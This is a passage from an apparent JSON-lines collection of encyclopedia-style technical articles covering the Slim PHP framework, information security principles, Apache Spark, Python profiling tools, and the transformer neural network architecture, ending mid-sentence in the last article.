Slim?\n\nDefault Slim installation comes packaged with a few middleware:\n\n    + **Routing**: Implements routing based on *FastRoute* but developers can choose to use a different implementation.\n    + **Error Handling**: Useful during development but also in production where errors can be logged for later analysis.\n    + **Method Overriding**: Process `X-Http-Method-Override` HTTP header. For example, a `POST` request with `X-HTTP-Method-Override:PUT` header can be treated as a `PUT` request.\n    + **Output Buffering**: Append to the current response body by default but this can be changed to \"prepend\" mode.\n    + **Body Parsing**: When implementing APIs, response is often in JSON or XML. This middleware handles these formats.\n    + **Content Length**: Appends `Content-Length` header to the response.\n\n### What's the application lifecycle in Slim?\n\nA Slim app is first instantiated with the call to `Slim\\App()`. It's common to do this via the factory method `AppFactory::create()`. For each of the HTTP methods (such as GET, POST, DELETE, etc.) routes can be defined. Then middleware are added. Finally, the application is executed by calling the app object's `run()` method. \n\nApp middleware execute in outermost-to-innermost order. When it reaches the innermost layer, application despatches the HTTP request to its suitable route object. If this route has its own middleware, they're executed in the same outermost-to-innermost order. Then control passes from the innermost to outermost middleware. Finally, application serializes and returns the HTTP response.  \n\n\n### How can I create routes in Slim?\n\nSlim framework allows us to define routes for various HTTP methods: GET, POST, PUT, DELETE, OPTIONS, PATCH. It's possible to define a route for all methods using `$app->any()` method or for multiple methods such as in `$app->map(['GET', 'POST'])`. \n\nEach route method accepts a **pattern** that's used to match against the URI of the HTTP request. **Placeholders** within the pattern are delimited using `{}`. Moreover, placeholders can be regular expressions. Optional parts of the pattern are delimited using `[]`. For instance, `$app->get('/users[/{id:[0-9]+})` wold match \"/users\" (since `id` part is optional) and \"/users/23\" (since `id` is a valid positive integer). \n\nEach route method also accepts a **callback**, which is a PHP callable with three arguments: Request, Response and Arguments. The values captured by placeholders are passed as arguments. In the above example, `id` is accessed as `$args['id']`. Callback can be specified as an anonymous function, a method defined in a class, a class that implements the `&lowbar;&lowbar;invoke()` method, etc. \n\nRoutes can be grouped to make code more maintainable. Thus, URIs `/users/{id:[0-9]+}` and `/users/{id:[0-9]+}/reset-password` can be grouped into `/users/{id:[0-9]+}`. \n\n\n### What are some online resources to get started with Slim?\n\nBeginners can start with the official Slim documentation. This introduces Slim with a simple example and then goes into the details. For latest updates, visit the Slim blog. To get help from the community, head to the discussion forum.\n\nFor step-by-step guides to developing APIs or apps with Slim, see the Slim Walkthrough and Rob Allen's Building Modern APIs with Slim Framework.\n\nFor ideas on how to organize a complex Slim-based app, see an example filesystem layout (slide 18) . Read about architecting a layered structure. A Slim v4 starter project is also available.\n\nCurated list of PSR-15 middleware are available at psr15-middlewares and awesome-psr15-middlewares.\n\nThose who wish to contribute the framework itself, can find Slim's codebase on GitHub.\n\n## Milestones\n\nSep  \n2010\n\nJosh Lockhart invents the Slim framework with a focus on simplicity and rapid application development. He feels that alternatives such as Symfony, Cake and CodeIgniter have steeper learning curves and too big for his needs. \n\nSep  \n2011\n\nThe Slim blog illustrates a simple \"Hello World\" example with the Slim framework. App is initialized with the call `$app = new Slim()`. Routes are configured using `$app->get()`, `$app->post()`, and so on. Application execution is trigger with the call `$app->run()`. All of this can be placed in the file *index.php*. Via Apache's *.htaccess* file, requests can be directed to *index.php*. \n\nApr  \n2012\n\n**Slim v1.6.0** is released. Framework architecture is based on the Rack Protocol. Application-wide **middleware** is introduced. Request/response interfaces, session handling, cookie handling and logging are improved. It's also announced that Slim can now be installed via Composer. \n\nSep  \n2012\n\n**Slim v2** is released. It requires at least PHP 5.3. It's PSR-2 compliant and uses **namespaces**. \n\nJul  \n2013\n\n**Slim v2.3.0** is released in a backward compatible manner. Environment, request, response, view and log objects can be accessed as public properties of the application instance. Route groups are added. Headers and cookies can be easily accessed in Request objects and easily set in Response objects. \n\nDec  \n2015\n\n**Slim v3.0.0** is released. New features include support for dependency injection and PSR-7. Methods expect interfaces rather than concrete implementations. By November 2019, this evolves to Slim v3.12.3. \n\nAug  \n2019\n\n**Slim v4.0.0** is released. This release requires PHP 7.1 or newer. It supports PSR-15 compliant middleware. Framework is decoupled from built-in PSR-7 implementation. Thus developers can use alternatives such as Zend, Nyholm and Guzzle. Likewise, routing, error handling and response emitting implementations are decoupled from the framework core. Routing is via `Slim\\Middleware\\RoutingMiddleware`. App factory is introduced. By March 2022, this evolves to Slim v4.10.0.","meta":{"title":"Slim Framework","href":"slim-framework"}}
{"text":"# Information Security Principles\n\n## Summary\n\n\nInformation can be private or public, personal or generic, valuable or commonplace, online or offline. Like any other asset, it has to be protected. This is more important online where hackers can steal or misuse information remotely even without any physical access to where that information resides.\n\nIn line with evolving technology, data security practices have evolved from high-level principles into more detailed set of practices and checklists.  In practice, there's no single list of principles that everyone agrees on. Many lists exist, each one customized for its context.\n\n## Discussion\n\n### Which are the three main information security principles?\n\nThe three main security principles include:  \n\n    + **Confidentiality**: Protect against unauthorized access to information.\n    + **Integrity**: Protect against unauthorized modification of information. Even if an adversary can't read your data, they can either corrupt it or selectively modify it to cause further damage later on.\n    + **Availability**: Protect against denial of access to information. Even if an adversary can't access or modify your data, they can prevent you from accessing it or using it. For example, they can destroy or congest communication lines, or bring down the data server.These principles have also been called security goals, objectives, properties or pillars. More commonly, they are known as the **CIA Triad**.\n\nSecurity practitioners consider these principles important but vague. This is because they're about the \"what\" but not the \"how\". They have to be translated into clear practices based on context. They have been applied to IT infrastructure, cloud systems, IoT systems, web/mobile apps, databases, and so on. Actual practices may differ but can be related to the CIA triad.\n\n\n### What are some variations of CIA?\n\nIt's been said that the CIA Triad is focused on technology and ignores the human element. The **Parkerian Hexad** therefore addresses the human element with three more principles: \n\n    + **Possession/Control**: It's possible to possess or control information without breaching confidentiality.\n    + **Authenticity**: This is about proof of identity. We should have an assurance that the information is from a trusted source.\n    + **Utility**: Information may be available but is it in a usable state or form?Another variation is the **McCumber Cube**. It includes the CIA Triad but also adds three states of information (transmission, storage, processing) and three security measures (training, policy, technology). \n\nOther published security principles have come from OECD, NIST, ISO, COBIT, Mozilla, and OWASP. \n\n\n### What are some means of achieving the CIA security goals?\n\nAuthorization, authentication and the use of cryptography are some techniques to achieve the CIA security goals. These have been sometimes called **Security Mechanisms**. These mechanisms are designed to protect assets and mitigate risks. However, they may have vulnerabilities that threats will attempt to exploit. \n\nConfidentiality is often achieved via encryption. Hackers in possession of encrypted data can't read it without the requisite decryption keys. File permissions and access control lists also ensure confidentiality. For integrity, a hash of the original data can be used but this hash must itself be provided securely. Alternatively, digital certificates that use public-key cryptography can be used. For availability, there should be redundancy built into the system. Backups should be in place to restore services quickly. Systems should have recent security updates. Provide sufficient bandwidth to avoid bottlenecks. \n\nPeople must be trained to use strong passwords, recognize possible threats and get familiar with social engineering methods. \n\n\n### What are some common approaches to enhancing information security?\n\nComplex systems are hard to secure. Keep the design simple. This also **minimizes the attack surface**. For example, a search box is vulnerable to SQL injections but a better search UI will remove this risk. Use **secure defaults** such as preventing trivial passwords. Give users or programs the **least privilege** to perform their function. When failures occur, ensure they're handled with correct privileges. \n\nThere's better **defence in depth**. This means that multiple levels of control are better than a single one. Security at application layer alone is not enough. Secure server access, network communications, wireless access, user interface, and so on. Don't trust third-party services. Have a clear **separation of duties** to prevent fraud. For example, admin users shouldn't be allowed to login to the frontend with same privileges and make purchases on behalf of others. \n\n**Avoid security by obscurity**. This means that we shouldn't rely on hidden secrets. For example, even if source code is leaked or encryption algorithms are known, the system should remain secure. \n\nPrefer **decentralized systems** with replication to centralized ones. \n\n\n### Could you mention some threats or attacks by which hackers can compromise the security principles?\n\nSniffing data communications, particularly when it's not encrypted, is an example of breach of confidentiality. ARP spoofing is an example of sending false ARP messages so that traffic is directed to the wrong computer. Phishing is a breach of integrity since the hacker's website tricks a visitor into thinking it's the genuine website.\n\nRepeatedly sending a request to a service will overload the server. Server will become progressively slower to response to requests and even crash. This Denial-of-Service (DoS) attack make the service unavailable. \n\nFor databases, SQL injection is a big threat allowing hackers access to sensitive data or extra privileges. Buffer overflow vulnerabilities can be exploited to modify data. DoS attacks are possible with databases and their servers. \n\nIn any case, record all transactions and events. This leads to better detection of intrusions and future preventions. Have a good recovery plan. Perform frequent security tests to discover vulnerabilities. \n\n## Milestones\n\n1950\n\nInformation Security or InfoSec doesn't exist in the 1950s or even in the 1960s. Security is all about physically securing access to expensive machines. Reliability of computers is the main concern. As hardware and software becomes standardized and cheaper, it's only in the 1970s that there's a shift from computer security towards information security. \n\n1970\n\nIn the early years of the ARPANET, the US Department of Defense commissions a study that's published by the Rand Corporation as *Security Controls for Computer Systems*. It identifies many potential threats and possible security measures. The task force was chaired by Willis H. Ware. In time, this report becomes influential and is known as the Ware Report. \n\n1972\n\nJames P. Anderson authors *Computer Security Technology Planning Study* for the USAF. This is published in two volumes. In time, this comes to be called the Anderson Report. \n\n1973\n\nMultics was a timesharing operating system that started in 1965 as a MIT research project. In the summer of 1973, researchers at MIT look at the security aspects of Multics running on a Honeywell 6180 computer system. They come up with broad security design principles. They categorize these into three categories with due credit to J. Anderson: unauthorized release, unauthorized modification, unauthorized denial. \n\n1980\n\nPrior to the 1980s, security was influenced by the defence sector. In the 1980s focus shifts from **Confidentiality** to commercial concerns such as costs and business risks. Among these is the idea of **Integrity** since it's important for banks and businesses that data is not modified by unauthorized entities. \n\n1988\n\n**Morris Worm** becomes the first DoS attack on the Internet. Thus, **Availability** is recognized as an essential aspect of information security. \n\n1989\n\nIn the *JSC-NASA Information Security Plan* document we find the use of the term **CIA Triad**. However, the term could have been coined as early as 1986. \n\n1998\n\nTo complement InfoSec, **Information Assurance (IA)** emerges as a discipline. This is more about securing information systems rather than information alone. With the growth of networks and Internet, **Non-Repudiation** and **Authentication** become important concerns. Non-repudiation means that parties can't deny having sent or received a piece of information. \n\n2001\n\nNIST publishes Underlying Technical Models for Information Technology Security. It identifies five security objectives: Availability, Integrity, Confidentiality, Accountability and Assurance. It points out that these are interdependent. For example, if confidentiality is compromised (eg. superuser password), then integrity is likely to be lost as well. \n\n2002\n\nDonn B. Parker expands on the CIA Triad by adding three more items: authenticity, possession or control, and utility. Parker also states that it's best to understand these six principles in pairs: confidentiality and possession, integrity and authenticity, and availability and utility. In time, these six principles have come to be called **Parkerian Hexad**.","meta":{"title":"Information Security Principles","href":"information-security-principles"}}
{"text":"# Apache Spark\n\n## Summary\n\n\nWhen processing large amounts of data, it's common to distribute and parallelize the workload across a cluster of machines. Apache Spark is a framework that sits between the applications above and the cluster of resources below. Spark doesn't manage the low-level storage and compute resources directly. Instead, it makes use of other frameworks such as Mesos or Hadoop. In fact, Apache Spark is described as \"a unified analytics engine for large-scale data processing\". \n\nApplications written in many popular languages can make use of Spark. Meanwhile, support for more languages is coming. Since Spark comes with many useful libraries, different types of processing are possible in a single application. Spark is being popularly used for Machine Learning workloads.\n\nSpark is open source and is managed by Apache Software Foundation.\n\n## Discussion\n\n### In which application scenarios is Spark useful?\n\nHadoop MapReduce is great for batch processing where typically data is read from disk, processed and written back to disk. But MapReduce is inefficient for multi-pass applications that read more than once. Performance drops due to data duplication, serialization and disk I/O. Apache Spark was created to solve this and is useful for the following: \n\n    + **Iterative Algorithms**: This includes machine learning algorithms that by nature process data through many iterations.\n    + **Interactive Data Mining**: Data is loaded into RAM once and then repeatedly queried. Interactive or ad-hoc analysis often includes visualizations. The language for querying the data must also be expressive.\n    + **Streaming Applications**: For real-time analysis, data must be analyzed as they come into the system. There's a need to maintain aggregate state over time.Spark can be used in gaming, e-commerce, finance, advertising, and more. Many of these involve real-time analysis and unstructured data sources.  Uber used Spark for feature aggregation in its ML data pipeline. Spark can help in scaling data pipelines for genomics. One researcher analyzed NASA server logs (~300MB) using database-like queries and regular expressions via Spark. \n\n\n### What makes Spark better than Hadoop MapReduce?\n\nLike MapReduce, Spark is scalable, distributed and fault tolerant, but it's also more efficient and easy to use. While MapReduce reads and writes to disk between tasks, Spark does in-memory caching and thereby improves performance. \n\nSpark does this by providing a data abstraction called **Resilient Distributed Dataset (RDD)**. Interfacing to RDD is enhanced with *DataFrame* and *Dataset* APIs. This is just one example of Spark's better usability via rich APIs and a functional programming model. \n\nMapReduce jobs are executed as JVM processes but Spark is able to execute multiple tasks inside a JVM process. Another advantage of Spark is that each JVM process lives for entire duration of the application, unlike in MapReduce where the process exits once execution completes. This means that new tasks submitted to a Spark cluster can start much faster. There's better CPU utilization. The tradeoff is that resource management is coarse grained but cluster managers can overcome this (such as YARN's container resizing). \n\nHowever, MapReduce may still be relevant for linear processing of huge datasets that can't fit into memory, particularly for join operations. \n\n\n### What's the architecture of Apache Spark?\n\nA Spark application runs in a distributed manner on a cluster of nodes. It consists of two parts: the main program called **driver program**, and **executors** or processes on worker nodes where actual execution happen. Driver program contains the *SparkContext* object for coordinating the application. \n\nA **worker node** is any node that runs application code. Such code could be JAR or Python files, for example. Application code available in SparkContext is passed to executors. SparkContext also schedules and sends tasks to executors. Each application get its own executors. This cleanly isolates one application from another. Multiple tasks can run within an executor due to multi-threading. \n\nSince the driver program schedules tasks, it should be close to the worker nodes, preferably on the same local area network. It should also be network addressable from worker nodes and listen for incoming connections. \n\nDriver program connects to a **cluster manager** that's responsible for managing resource allocation. The cluster manager could be anything: Spark's default manager, Apache Mesos, Hadoop YARN, Kubernetes, etc. The manager needs to only acquire executor processes and these communicate with one another. \n\n\n### What are some essential terms to know in Apache Spark?\n\nHere are some essential terms:\n\n    + **Task**: A unit of work sent to one executor.\n    + **Job**: Parallel computation involving multiple spawned tasks for some actions such as `save` or `collect`.\n    + **Stage**: A smaller set of tasks of a job, useful when one stage depends on another.\n    + **RDD**: A fault-tolerant collection of elements that can be processed in parallel.\n    + **Partition**: A smaller chunk into which an RDD is divided. A task is launched per partition. Thus, more partitions imply greater parallelism. Having 2-4 partitions per CPU is typical.\n    + **Transformation**: An operation performed on an RDD. Since RDDs are immutable, transformations on an RDD result in a new RDD.\n    + **Action**: An operation on an RDD that returns a result to the driver program.\n\n### What's the Spark software stack?\n\nThe Spark Core is the main programming abstraction. It gives APIs (in Java, Scala, Python, SQL, and R) to access and manipulate RDDs. To ease development, Spark comes with component libraries including Spark SQL/DataFrame/Dataset, Spark Streaming, MLlib and GraphX. Each of these serves specific application requirements but they all rely on Spark Core's unified API. This approach of a modular core plus useful components makes Spark attractive to developers. \n\nUser applications sit on top of these components. The Spark Shell is an example app that facilitates interactive analysis. \n\nSpark Core itself doesn't manage cluster resources. This is done by a cluster manager. Spark comes with a standalone cluster manager but we are free to choose alternatives such as Hadoop YARN, Mesos, Kubernetes, etc. Spark Core also doesn't deal with disk storage for which we can use Hadoop HDFS, Cassandra, HBase, S3, etc. For example, in one deployment we could choose to use the YARN along with HDFS while the computing is managed via Spark Core.  \n\n## Milestones\n\n2009\n\nResearchers at UC Berkeley's AMPLabs create a cluster management framework called **Mesos**. To showcase how easy it is build something on top of Mesos, they look at the limitations of MapReduce and Hadoop. These are good at batch processing but not at iterative or interactive processing, such as machine learning or interactive querying. To overcome these limitations, they build **Spark**. Spark is written in Scala and exposes a functional programming interface.  \n\n2010\n\nSpark is open sourced. It's creators publish the first paper on Spark, titled Spark: Cluster Computing with Working Sets. \n\n2013\n\nSpark is incubated under the **Apache Software Foundation**. In February 2014, it becomes a top-level Apache project. \n\n2015\n\nWith Spark 1.4 release, there's support for both Python 2 and 3. However, it's announced later to deprecate Python 2 support in the next major release of 2019. \n\nJul  \n2016\n\nSpark 2.0.0 is released. To enable optimization, DataFrame API was introduced in v1.3. Dataset API introduced in v1.6 enabled compile-time checks. From v2.0, **Dataset** presents a single abstraction although language bindings that don't have type checks (Python, R) will internally use DataFrame, which is an alias for Dataset[Row]. \n\n2018\n\nIn February, Spark 2.3.0 is released. With this release, native Spark jobs can be managed by Kubernetes. Data source API V2 improves over V1. Meanwhile, a ranking of distributed computing packages for data science shows Apache Spark at the top, followed by Apache Hadoop. In the enterprise, **Apache Spark MLib** is most adopted for ML and Big Data analytics. This is followed by TensorFlow. \n\nApr  \n2019\n\nFor using Spark from C# and F#, **.NET for Apache Spark** is launched as a preview project. Direction will come from .NET Foundation. This effort replaces and deprecates Mobius.","meta":{"title":"Apache Spark","href":"apache-spark"}}
{"text":"# Profiling Python Code\n\n## Summary\n\n\nPython documentation defines a *profile* as \"a set of statistics that describes how often and for how long various parts of the program executed.\" In addition to measuring time, profiling can also tell us about memory usage. \n\nThe idea of profiling code is to identify bottlenecks in performance. It may be tempting to guess where the bottlenecks could be but profiling is more objective and quantitative. Profiling is a necessary step before attempting to optimize any program. Profiling can lead to restructuring code, implementing better algorithms, releasing unused memory, caching computational results, improving data handling, etc.\n\n## Discussion\n\n### What are the Python packages or modules that help with profiling?\n\nPython's standard distribution includes profiling modules by default: `cProfile` and `profile`. `profile` is a pure Python module that adds significant overhead. Hence `cProfile` is preferred, which is implemented in C. Results that come out from this module can be formatted into reports using the `pstats` module. \n\n`cProfile` adds a reasonable overhead. Nonetheless, it must be used only for profiling and not for benchmarking. **Benchmarking** compares performance between different implementations on possibly different platforms. Because of the overhead introduced by `cProfile`, to benchmark C code and Python code, use `%time` magic command in IPython instead. Alternatively, we can use the `timeit` module. \n\nTo trace memory leaks, `tracemalloc` can be used. \n\nOther useful modules to install include `line_profiler`, `memory_profiler` and `psutil`. The module `pprofile` takes longer to profile but gives more detailed information than `line_profiler`. For memory profiling, `heapy` and `meliea` may also help. `PyCounters` can be useful in production. \n\n\n### Are there visualization tools to simplify the analysis of profiler output?\n\n`vprof` is a profiler that displays the output as a webpage. It launches a Node.js server, implying that Node.js must be installed. On the webpage, you can hover over elements to get more information interactively. \n\nThe output of cProfile can be saved to a file and then converted using `pyprof2calltree`. This converted file can then be opened with KCachegrind (for Linux) and QCachegrind (for MAC and Windows). Likewise, gprof2dot and RunSnakeRun are alternative graphical viewers. \n\n*PyCallGraph* profiles and outputs the statistics in a format that can be opened by Graphviz, a graph visualization software. \n\n*nylas-perftools* adds instrumentation around code, profile it and export the results in JSON format. This can be imported into Chrome Developer Tools to visualize the timeline of execution. This can also be used in production since the app stack is only sampled periodically. \n\n\n### What are the types of profilers?\n\nThree types of profilers exist: \n\n    + **Event-based**: These collect data when an event occurs. Such events may be entry/exit of functions, load/unload of classes, allocation/release of memory, exceptions, etc. `cProfile` is an example.\n    + **Instrumented**: The application profiles itself by modifying the code or with built-in support from compiler. Using decorators to profile code is an example of this. However, instrumented code is not required in Python because the interpreter provides hooks to do profiling.\n    + **Statistical**: Data is collected periodically and therefore what the profiler sees is a sample. While less accurate, this has low overhead. Examples of this include Intel® VTune™ Amplifier, Nylas Perftools and Pyflame. On the contrary, we can also say that `cProfile`, `line_profiler` and `memory_profiler` are *Deterministic Profilers*.In general, deterministic profiling adds significant overhead whereas statistical profiling has low overhead since profiling is done by sampling. For this reason, the latter can also be used in production. We should note that the profiling overhead in Python is mostly due to the interpreter: overhead due to deterministic profiling is not that expensive. \n\nWe can also classify profilers as **function profilers**, **line profilers** or **memory profilers**.\n\n\n### What are the IPython magic commands that help with profiling?\n\nIPython has the following magic commands for profiling: \n\n    + `%time`: Shows how long a one or more lines of code take to run.\n    + `%timeit`: Like `%time` but gives an average from multiple runs. Option `-n` can be used to specify the number of runs. Depending on how long the program takes, the number of runs is limited automatically. This is unlike the `timeit` module.\n    + `%prun`: Shows time taken by each function.\n    + `%lprun`: Shows time taken line by line. Functions to profile can be specified with `-f` option.\n    + `%mprun`: Shows how much memory is used.\n    + `%memit`: Like `%mprun` but gives an average from multiple runs, which can be specified with `-r` option.Commands `%time` and `%timeit` are available by default. Commands `%lprun`, `%mprun` and `%memit` are available via modules `line-profiler`, `memory-profiler` and `psutil`. But to use them within IPython as magic commands, mapping must be done via IPython extension files. Or use the `%load_ext` magic command. \n\nWhen timing multiple lines of code, use `%%timeit` instead of `%timeit`. This is available for `%prun` as well. \n\n\n### How to interpret the output of cProfile?\n\nThe output of cProfile can be ordered using the `-s` option. In the accompanying image, we see that the results are ordered by cumulative time in descending order. Everything starts at the module level from where `main()` function is called. We can also see that most of this is from `api.py:request()`, `sessions.py:request()` and `sessions.py:send()`. However, we are unable to tell if these are part of the same call flow or parallel flows. A graphical viewer will be more useful.\n\nThe column \"tottime\" is the time spent within a function without considering time spent in functions called within. We also see that `readline()` function from `socket.py` is called many times. It takes 1.571 seconds of 4.481 seconds of cumulative time. However, the total time within this function is 0. This means that we need to optimize functions that are called by `readline()`. We suspect it might be the read operation of SSL Socket. The entry \"4/3\" indicates that `sessions.py:send()` is called 3 times plus 1 recursive call. \n\n\n### What should I look for when analyzing any profiling output?\n\nYou should identify which function (or lines of code) is taking most of the execution time. You should identify which function is getting called most often. Look for call stacks that you didn't expect. Know the difference between *total time* spent in function and *cumulative time*. The latter enables direct comparison of recursive implementations against iterative ones. \n\nWith respect to memory usage, see if there's a memory leak.\n\n\n### Could you share some tips for optimizing profiled code?\n\nKeep in mind that speeding up a function 100 times is irrelevant if that function takes up only a few percent of the program's total execution. This is the essence of profiling. Optimize only what matters. \n\nIf profiling shows that I/O is a bottleneck, threading can help. If your code uses a lot of regex, try to replace these with string equivalents, which will run faster. To avoid repeat computations, earlier results can be cached. This is called *memoization*. Where applicable, this can help in improving performance. If there are no obvious places to optimize the code, you can also consider an alternative runtime such as PyPy or moving critical parts of the code into Cython or C and calling the same from Python. Likewise, vectorize some operations using NumPy. Consider moving stuff from inner loops. Remove logging or make them conditional. If a particular function is called many times, code could be restructured.\n\nWhether during profiling or after optimizing your code, don't ignore your unit tests. They must continue to pass. Also, keep in mind that optimizing code can compromise on readability and maintainability. \n\n\n### Are there Python IDEs that come with profilers?\n\nWith IPython, Jupyter and Anaconda's Spyder, `%time` and `%timeit` can be used by default. For line profiling or memory profiling, the necessary modules need to be installed before invoking them. \n\nPyCharm Community Edition does not support profiling but the professional version supports it. In fact, cProfile, yappi and vmprof are three profilers that are supported. vmprof is a statistical profiler. \n\nVisual Studio comes with a built-in profiler. However, this works only for CPython and not for IronPython for which .NET profiler should be used. \n\n\n### What's the decorator approach to profiling Python code?\n\nIt's possible to decorate a function for profiling purpose. We can timestamp the entries and exits and thereby calculate time spent within the function. The advantage of this approach is that there's no dependence on any profiling tool. Overhead can be kept low. We can choose to profile only specific parts of our program and ignore core modules and third-party modules. We'll also have better control of how results will be exported. \n\n\n### What's Pyflame and why may I want to use it?\n\nPyflame is a profiler for Python that takes snapshots of the Python call stack. From these, it generates flame graphs. Pyflame is based on Linux's `ptrace`. Hence it can't be used on Windows systems. Pyflame overcomes the limitations of cProfile, which adds overhead and doesn't give a full stack trace. Pyflame also works with code not instrumented for profiling. \n\nBecause Pyflame is statistical in nature, meaning that it doesn't profile every since function call, it can also be used in production. \n\n## Milestones\n\nApr  \n1992\n\nIn CPython implementation, first code commit is made for `profile` module. \n\nJun  \n1994\n\nIn CPython implementation, first code commit is made for `pstats` module. \n\nFeb  \n2006\n\nIn CPython implementation, first code commit is made for `cProfile` module. \n\nSep  \n2008\n\nInitial code commit for `line_profiler` is done by Robert Kern. Version 2.1 of this module is released in December 2017. \n\nSep  \n2016\n\nFirst version of Pyflame is released by the engineering team at Uber.","meta":{"title":"Profiling Python Code","href":"profiling-python-code"}}
{"text":"# Transformer Neural Network Architecture\n\n## Summary\n\n\nGiven a word sequence, we recognize that some words within it are more closely related with one another than others. This gives rise to the concept of **self-attention** in which a given word \"attends to\" other words in the sequence. Essentially, attention is about representing context by giving weights to word relations.  \n\nTransformer is a neural network architecture that makes use of self-attention. It replaces earlier approaches of LSTMs or CNNs that used attention between encoder and decoder. Transformer showed that a feed-forward network used with self-attention is sufficient. \n\nInfluential language models such BERT and GPT-2 are based on the transformer architecture. By 2019, transformer architecture became an active area of research and application. While initially created for NLP, it's being used in other domains where problems can be cast as sequence modelling.\n\n## Discussion\n\n### How is the transformer network better than CNNs, RNNs or LSTMs?\n\nWords in a sentence come one after another. The context of the current word is established by the words surrounding it. RNNs are suited to model such a time-sequential structure. But an RNN has trouble remembering long sequences. LSTM is an RNN variant that does better in this regard. CNN architectures WaveNet, ByteNet and ConvS2S have also been used for sequence-to-sequence learning. \n\nMoreover, RNNs and LSTMs consider only words that have gone before (although there's bidirectional LSTMs). Self-attention models the context by looking at words before and after the current word. For instance, the word \"bank\" in sentence \"I arrived at the bank after crossing the river\" doesn't refer to a financial institution. Transformer can figure out this meaning because it looks at subsequent words as well. \n\nThe sequential nature of RNNs implies that tasks can't be parallelized on GPUs and TPUs. Transformer's encoder self-attention can be parallelized. While CNNs are less sequential, complexity still grows logarithmically. It's worse for RNNs where complexity grows linearly. With transformers, the number of sequential operations is constant. \n\n\n### What's the architecture of the transformer?\n\nThe transformer of Vaswani et al. basically follows the encoder-decoder model with attention passed from encoder to decoder. Both encoder and decoder stack multiple identical layers. Each encoder layer uses self-attention to represent context. Each decoder layer also uses self-attention in two sub-layers. While the encoder's self-attention uses both left and right context, the lower sub-layer of decoder masks out the future positions while predicting the current position. \n\nIn each layer we find some common elements. Residual connections are made. These are added and normalized with connections flowing via the self-attention sub-layers. There are no recurrent networks, only a fully connected feed-forward network. \n\nAt the input, source and target sequences are represented as embeddings. These are enhanced with positional encodings. At the output, a linear layer is followed with softmax. \n\nThe transformer's encoder can work on the input sequence in parallel but the decoder is auto-regressive. Each output is influenced by previous output symbols. Output symbols are generated one at a time. \n\n\n### How is self-attention computed in a transformer network?\n\nEvery word is projected on to three vectors: query, key and value. Respective weight matrices \\(W\\) to do this projection are learned during training. Suppose we're calculating the attention on a particular word. A dot-product operation of its query vector with the key vector of each word is calculated. Dot-product attention is scaled with \\(1/\\sqrt d\\_k\\) to compensate large dot-product values. The value vectors are weighted with weights from the dot product and then summed.  \n\nFor better results, **multi-head attention** is used. Each head learns a different attention distribution, similar to having multiple filters in CNN. For example, if the model dimension is 512, instead of a large single attention layer, we use 8 parallel attention layers, each operating in 64 dimensions. Output from the layers are concatenated to derive the final attention. Mathematically, we have the following: \n\n$$MultiHead(Q,K,V) = Concat(head\\_1,...,head\\_h)W^O\\\\head\\_i = Attention(QW^{Q}\\_i, KW^{K}\\_i, VW^{V}\\_i)\\\\Attention(Q,K,V) = softmax(\\frac{QK^T}{\\sqrt d\\_k})V$$\n\nThe original transformer of Vaswani et al. uses self-attention within encoder and decoder, but also transfers attention from encoder to decoder as is common in traditional sequence-to-sequence models.  \n\n\n### How does the transformer network capture the position of words?\n\nIn RNNs, the sequential structure accounts for position. In CNNs, positions are considered within the kernel size. In transformers, self-attention ignores the position of tokens within the sequence. To overcome this limitation, transformers explicitly add **positional encodings**. These are added to the input or output embeddings before the sum goes into the first attention layer. \n\nPositional encodings can either be learned or fixed. In the latter case, Vaswani et al. used sine and cosine functions for even and odd positions respectively. They also used different frequencies for different positions to make it easier for the model to learn the positions: \n\n$$PE\\_{(pos,2i)}=sin(pos/10000^{2i/d\\_{model}})\\\\PE\\_{(pos,2i+1)}=cos(pos/10000^{2i/d\\_{model}})$$\n\nWhile Vaswani et al. (2017) considered absolute positions, Shaw et al. (2018) looked at the distance between tokens in a sequence, that is, relative positioning. They showed that this leads to better results for machine translation with the trade-off of 7% decrease in steps per second. \n\n\n### Could you share some applications of the transformer network?\n\nIn October 2019, Google announced the use of BERT for 10% of its English language search. Search will attempt to understand queries the way users tend to ask them in a natural way. This is opposed to parsing the query as a bunch of keywords. Thus, phrases such as \"to\" or \"for someone\" are important for meaning and BERT picks up these. \n\nWe can use transformers to generate synthetic text. Starting from a small prompt, GPT-2 model is able to generate long sequences and paragraphs of text that are realistic and coherent. This text also adapts to the style of the input. \n\nFor correcting grammar, transformers provide competitive baseline performance. For sequence generation, Insertion Transformer and Levenshtein Transformer have been proposed. \n\nTransformers have been used beyond NLP, such as for image generation where self-attention is restricted to local neighbourhoods. Music Transformer applied self-attention to generate long pieces of music. While the original transformer used absolute positions, the music transformer used relative attention, allowing the model to create music in a consistent style. \n\n\n### Which are the well-known transformer networks?\n\n**BERT** is an encoder-only transformer. It's the first deeply bidirectional model, meaning that it uses both left and right contexts in all layers. BERT showed that as a pretrained language model it can be fine-tuned easily to obtain state-of-the-art models for many specific tasks. BERT has inspired many variants: RoBERTa, XLNet, MT-DNN, SpanBERT, VisualBERT, K-BERT, HUBERT, and more. Some variants attempt to compress the model: TinyBERT, ALERT, DistilBERT, and more. \n\nThe other competitive model is **GPT-2**. Unlike BERT, GPT-2 is not bidirectional and is a decoder-only transformer. However, the training includes both unsupervised pretraining and supervised fine-tuning. The training objective combines both of these to improve generalization and convergence. This approach of training on specific tasks is also seen in **MT-DNN**. \n\nGPT-2 is auto-regressive. Each output token is generated one by one. Once a token is generated, it's added to the input sequence. BERT is not auto-regressive but instead uses context from both sides. XLNet is auto-regressive while also using context from both sides. \n\n\n### What are some variations of the transformer network?\n\nCompared to the original transformer of Vaswani et al., we note the following variations:\n\n    + **Transformer-XL**: Overcomes the limitation of fixed-length context. It makes use of segment-level recurrence and relative positional encoding.\n    + **DS-Init & MAtt**: Stacking many layers is problematic due to vanishing gradients. Therefore, depth-scaled initialization and merged attention sublayer are proposed.\n    + **Average Attention Network (AAN)**: With the original transformer, decoder's self-attention is slow due to its auto-regressive nature. Speed is improved by replacing self-attention with an averaging layer followed by a gating layer.\n    + **Dialogue Transformer**: Conversation that has multiple overlapping topics can be picked out. Self-attention is over the dialogue sequence turns.\n    + **Tensor-Product Transformer**: Uses novel TP-Attention to explicitly encode relations and applies it to math problem solving.\n    + **Tree Transformer**: Puts a constraint on the encoder to follow tree structures that are more intuitive to humans. This also helps us learn grammatical structures from unlabelled data.\n    + **Tensorized Transformer**: Multi-head attention is difficult to deploy in a resource-limited setting. Hence, multi-linear attention with Block-Term Tensor Decomposition (BTD) is proposed.\n\n### For a developer, what resources are out there to learn transformer networks?\n\nTo get a feel of transformers in action, you can try out Talk to Transformer, which is based on the full-sized GPT-2.\n\nHuggingFace provides implementation of many transformer architectures in both TensorFlow and 